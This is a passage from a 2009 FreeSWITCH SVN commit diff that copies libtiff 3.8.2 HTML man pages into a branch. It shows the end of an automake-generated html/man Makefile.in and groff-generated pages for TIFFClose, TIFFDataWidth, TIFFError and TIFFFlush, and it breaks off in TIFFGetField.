+PACKAGE_VERSION = @PACKAGE_VERSION@
+PATH_SEPARATOR = @PATH_SEPARATOR@
+PTHREAD_CC = @PTHREAD_CC@
+PTHREAD_CFLAGS = @PTHREAD_CFLAGS@
+PTHREAD_LIBS = @PTHREAD_LIBS@
+RANLIB = @RANLIB@
+SED = @SED@
+SET_MAKE = @SET_MAKE@
+SHELL = @SHELL@
+STRIP = @STRIP@
+VERSION = @VERSION@
+X_CFLAGS = @X_CFLAGS@
+X_EXTRA_LIBS = @X_EXTRA_LIBS@
+X_LIBS = @X_LIBS@
+X_PRE_LIBS = @X_PRE_LIBS@
+ac_ct_AR = @ac_ct_AR@
+ac_ct_AS = @ac_ct_AS@
+ac_ct_CC = @ac_ct_CC@
+ac_ct_CXX = @ac_ct_CXX@
+ac_ct_DLLTOOL = @ac_ct_DLLTOOL@
+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+docdir = $(LIBTIFF_DOCDIR)/html/man
+MANSRCDIR = $(top_srcdir)/man
+HTMLMANDIR = $(top_srcdir)/html/man
+GROFF = groff -Thtml -mandoc
+ECHO = echo
+indexfile = index.html
+docfiles = \
+	libtiff.3tiff.html \
+	TIFFbuffer.3tiff.html \
+	TIFFClose.3tiff.html \
+	TIFFcodec.3tiff.html \
+	TIFFcolor.3tiff.html \
+	TIFFDataWidth.3tiff.html \
+	TIFFError.3tiff.html \
+	TIFFFlush.3tiff.html \
+	TIFFGetField.3tiff.html \
+	TIFFmemory.3tiff.html \
+	TIFFOpen.3tiff.html \
+	TIFFPrintDirectory.3tiff.html \
+	TIFFquery.3tiff.html \
+	TIFFReadDirectory.3tiff.html \
+	TIFFReadEncodedStrip.3tiff.html \
+	TIFFReadEncodedTile.3tiff.html \
+	TIFFReadRawStrip.3tiff.html \
+	TIFFReadRawTile.3tiff.html \
+	TIFFReadRGBAImage.3tiff.html \
+	TIFFReadRGBAStrip.3tiff.html \
+	TIFFReadRGBATile.3tiff.html \
+	TIFFReadScanline.3tiff.html \
+	TIFFReadTile.3tiff.html \
+	TIFFRGBAImage.3tiff.html \
+	TIFFSetDirectory.3tiff.html \
+	TIFFSetField.3tiff.html \
+	TIFFsize.3tiff.html \
+	TIFFstrip.3tiff.html \
+	TIFFswab.3tiff.html \
+	TIFFtile.3tiff.html \
+	TIFFWarning.3tiff.html \
+	TIFFWriteDirectory.3tiff.html \
+	TIFFWriteEncodedStrip.3tiff.html \
+	TIFFWriteEncodedTile.3tiff.html \
+	TIFFWriteRawStrip.3tiff.html \
+	TIFFWriteRawTile.3tiff.html \
+	TIFFWriteScanline.3tiff.html \
+	TIFFWriteTile.3tiff.html \
+	fax2ps.1.html \
+	fax2tiff.1.html \
+	gif2tiff.1.html \
+	pal2rgb.1.html \
+	ppm2tiff.1.html \
+	ras2tiff.1.html \
+	raw2tiff.1.html \
+	rgb2ycbcr.1.html \
+	sgi2tiff.1.html \
+	thumbnail.1.html \
+	tiff2bw.1.html \
+	tiff2pdf.1.html \
+	tiff2ps.1.html \
+	tiff2rgba.1.html \
+	tiffcmp.1.html \
+	tiffcp.1.html \
+	tiffdither.1.html \
+	tiffdump.1.html \
+	tiffgt.1.html \
+	tiffinfo.1.html \
+	tiffmedian.1.html \
+	tiffset.1.html \
+	tiffsplit.1.html \
+	tiffsv.1.html
+
+dist_doc_DATA = $(indexfile) $(docfiles)
+INDEXSTART = '<HTML><HEAD><TITLE>Libtiff HTML manpage index</TITLE></HEAD><BODY BGCOLOR=white><ul><H2>Man Pages</h2><p>'
+INDEXEND = '</ul></BODY></HTML>'
+manpages = $(docfiles:.html=)
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  html/man/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  html/man/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+install-dist_docDATA: $(dist_doc_DATA)
+	@$(NORMAL_INSTALL)
+	test -z "$(docdir)" || $(mkdir_p) "$(DESTDIR)$(docdir)"
+	@list='$(dist_doc_DATA)'; for p in $$list; do \
+	  if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
+	  f=$(am__strip_dir) \
+	  echo " $(dist_docDATA_INSTALL) '$$d$$p' '$(DESTDIR)$(docdir)/$$f'"; \
+	  $(dist_docDATA_INSTALL) "$$d$$p" "$(DESTDIR)$(docdir)/$$f"; \
+	done
+
+uninstall-dist_docDATA:
+	@$(NORMAL_UNINSTALL)
+	@list='$(dist_doc_DATA)'; for p in $$list; do \
+	  f=$(am__strip_dir) \
+	  echo " rm -f '$(DESTDIR)$(docdir)/$$f'"; \
+	  rm -f "$(DESTDIR)$(docdir)/$$f"; \
+	done
+tags: TAGS
+TAGS:
+
+ctags: CTAGS
+CTAGS:
+
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile $(DATA)
+installdirs:
+	for dir in "$(DESTDIR)$(docdir)"; do \
+	  test -z "$$dir" || $(mkdir_p) "$$dir"; \
+	done
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am: install-dist_docDATA
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-dist_docDATA uninstall-info-am
+
+.PHONY: all all-am check check-am clean clean-generic clean-libtool \
+	distclean distclean-generic distclean-libtool distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-dist_docDATA install-exec \
+	install-exec-am install-info install-info-am install-man \
+	install-strip installcheck installcheck-am installdirs \
+	maintainer-clean maintainer-clean-generic mostlyclean \
+	mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \
+	uninstall uninstall-am uninstall-dist_docDATA \
+	uninstall-info-am
+
+
+.PHONY: index
+index: $(docfiles)
+	${ECHO} ${INDEXSTART} > $(indexfile)
+	for i in $^; do							\
+		${ECHO} '<li><A HREF='$$i'>'$$i'</a>' >> $(indexfile);  \
+	done
+	${ECHO} ${INDEXEND} >> $(indexfile)
+
+.PHONY: htmldoc
+htmldoc: index
+	for i in $(manpages); do					\
+		${GROFF} $(MANSRCDIR)/$$i > $(HTMLMANDIR)/$$i.html;	\
+	done
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFClose.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFClose.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFClose.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFClose.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFClose.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,87 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:08 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFClose</title>
+</head>
+<body>
+
+<h1 align=center>TIFFClose</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFClose &minus; close a previously opened
+<small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>void TIFFClose(TIFF *</b><i>tif</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFClose</i> closes a file that was previously opened
+with <b>TIFFOpen</b>(3TIFF). Any buffered data are flushed
+to the file, including the contents of the current directory
+(if modified); and all resources are reclaimed.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the routine. Likewise,
+warning messages are directed to the
+<b>TIFFWarning</b>(3TIFF) routine.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>libtiff</b>(3TIFF), <b>TIFFOpen</b>(3TIFF)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFDataWidth.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFDataWidth.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFDataWidth.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFDataWidth.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFDataWidth.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,98 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:08 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFDataWidth</title>
+</head>
+<body>
+
+<h1 align=center>TIFFDataWidth</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFDataWidth &minus; Get the size of TIFF data types</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFDataWidth(TIFFDataType</b>
+<i>type</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFDataWidth</i> returns a size of <i>type</i> in
+bytes. Currently following data types are supported:<i><br>
+TIFF_BYTE<br>
+TIFF_ASCII<br>
+TIFF_SBYTE<br>
+TIFF_UNDEFINED<br>
+TIFF_SHORT<br>
+TIFF_SSHORT<br>
+TIFF_LONG<br>
+TIFF_SLONG<br>
+TIFF_FLOAT<br>
+TIFF_IFD<br>
+TIFF_RATIONAL<br>
+TIFF_SRATIONAL<br>
+TIFF_DOUBLE</i></p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFDataWidth</i> returns a number of bytes occupied
+by the item of given type. 0 returned when uknown data type
+supplied.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>libtiff</b>(3TIFF),</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFError.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFError.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFError.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFError.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFError.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,106 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:08 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFError</title>
+</head>
+<body>
+
+<h1 align=center>TIFFError</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFError, TIFFSetErrorHandler &minus; library error
+handling interface</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>void TIFFError(const char *</b><i>module</i><b>, const
+char *</b><i>fmt</i><b>,</b> <i>...</i><b>)</b></p>
+<!-- INDENTATION -->
+<p><b>#include &lt;stdarg.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>typedef void (*TIFFErrorHandler)(const char
+*</b><i>module</i><b>, const char *</b><i>fmt</i><b>,
+va_list</b> <i>ap</i><b>);<br>
+TIFFErrorHandler TIFFSetErrorHandler(TIFFErrorHandler
+handler);</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFError</i> invokes the library-wide error handling
+function to (normally) write an error message to the
+<b>stderr</b>. The <i>fmt</i> parameter is a
+<i>printf</i>(3S) format string, and any number arguments
+can be supplied. The <i>module</i> parameter, if non-zero,
+is printed before the message; it typically is used to
+identify the software module in which an error is
+detected.</p>
+<!-- INDENTATION -->
+<p>Applications that desire to capture control in the event
+of an error should use <i>TIFFSetErrorHandler</i> to
+override the default error handler. A <small>NULL</small>
+(0) error handling function may be installed to suppress
+error messages.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFSetErrorHandler</i> returns a reference to the
+previous error handling function.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFWarning</b>(3TIFF), <b>libtiff</b>(3TIFF),
+<b>printf</b>(3)</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFFlush.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFFlush.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFFlush.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFFlush.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFFlush.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,113 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:08 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFFlush</title>
+</head>
+<body>
+
+<h1 align=center>TIFFFlush</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFFlush, TIFFFlushData &minus; flush pending writes to
+an open <small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFFlush(TIFF *</b><i>tif</i><b>)<br>
+int TIFFFlushData(TIFF *</b><i>tif</i><b>)</b></p>
+</td>
+</table>
+<a name="DESCRIPTION"></a>
+<h2>DESCRIPTION</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><i>TIFFFlush</i> causes any pending writes for the
+specified file (including writes for the current directory)
+to be done. In normal operation this call is never needed
+&minus; the library automatically does any flushing
+required.</p>
+<!-- INDENTATION -->
+<p><i>TIFFFlushData</i> flushes any pending image data for
+the specified file to be written out; directory-related data
+are not flushed. In normal operation this call is never
+needed &minus; the library automatically does any flushing
+required.</p>
+</td>
+</table>
+<a name="RETURN VALUES"></a>
+<h2>RETURN VALUES</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>0 is returned if an error is encountered, otherwise 1 is
+returned.</p>
+</td>
+</table>
+<a name="DIAGNOSTICS"></a>
+<h2>DIAGNOSTICS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>All error messages are directed to the
+<b>TIFFError</b>(3TIFF) routine.</p>
+</td>
+</table>
+<a name="SEE ALSO"></a>
+<h2>SEE ALSO</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>TIFFOpen</b>(3TIFF),
+<b>TIFFWriteEncodedStrip</b>(3TIFF),
+<b>TIFFWriteEncodedTile</b>(3TIFF),
+<b>TIFFWriteRawStrip</b>(3TIFF),
+<b>TIFFWriteRawTile</b>(3TIFF),
+<b>TIFFWriteScanline</b>(3TIFF), <b>TIFFWriteTile</b>(3TIFF)
+<b>libtiff</b>(3TIFF),</p>
+<!-- INDENTATION -->
+<p>Libtiff library home page:
+<b>http://www.remotesensing.org/libtiff/</b></p>
+</td>
+</table>
+<hr>
+</body>
+</html>

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFGetField.3tiff.html

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFGetField.3tiff.html (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/html/man/TIFFGetField.3tiff.html) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFGetField.3tiff.html	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/html/man/TIFFGetField.3tiff.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1446 @@
+<!-- Creator     : groff version 1.18.1 -->
+<!-- CreationDate: Mon Mar 13 18:03:08 2006 -->
+<html>
+<head>
+<meta name="generator" content="groff -Thtml, see www.gnu.org">
+<meta name="Content-Style" content="text/css">
+<title>TIFFGetField</title>
+</head>
+<body>
+
+<h1 align=center>TIFFGetField</h1>
+<a href="#NAME">NAME</a><br>
+<a href="#SYNOPSIS">SYNOPSIS</a><br>
+<a href="#DESCRIPTION">DESCRIPTION</a><br>
+<a href="#AUTOREGISTERED TAGS">AUTOREGISTERED TAGS</a><br>
+<a href="#RETURN VALUES">RETURN VALUES</a><br>
+<a href="#DIAGNOSTICS">DIAGNOSTICS</a><br>
+<a href="#SEE ALSO">SEE ALSO</a><br>
+
+<hr>
+<a name="NAME"></a>
+<h2>NAME</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p>TIFFGetField, TIFFVGetField &minus; get the value(s) of a
+tag in an open <small>TIFF</small> file</p>
+</td>
+</table>
+<a name="SYNOPSIS"></a>
+<h2>SYNOPSIS</h2>
+<!-- INDENTATION -->
+<table width="100%" border=0 rules="none" frame="void"
+       cols="2" cellspacing="0" cellpadding="0">
+<tr valign="top" align="left">
+<td width="8%"></td>
+<td width="91%">
+<p><b>#include &lt;tiffio.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFGetField(TIFF *</b><i>tif</i><b>, ttag_t</b>
+<i>tag</i><b>,</b> <i>...</i><b>)</b></p>
+<!-- INDENTATION -->
+<p><b>#include &lt;stdarg.h&gt;</b></p>
+<!-- INDENTATION -->
+<p><b>int TIFFVGetField(TIFF *</b><i>tif</i><b>, ttag_t</b>
+<i>tag</i><b>, va_list</b> <i>ap</i><b>)<br>
+int TIFFGetFieldDefaulted(TIFF *</b><i>tif</i><b>,
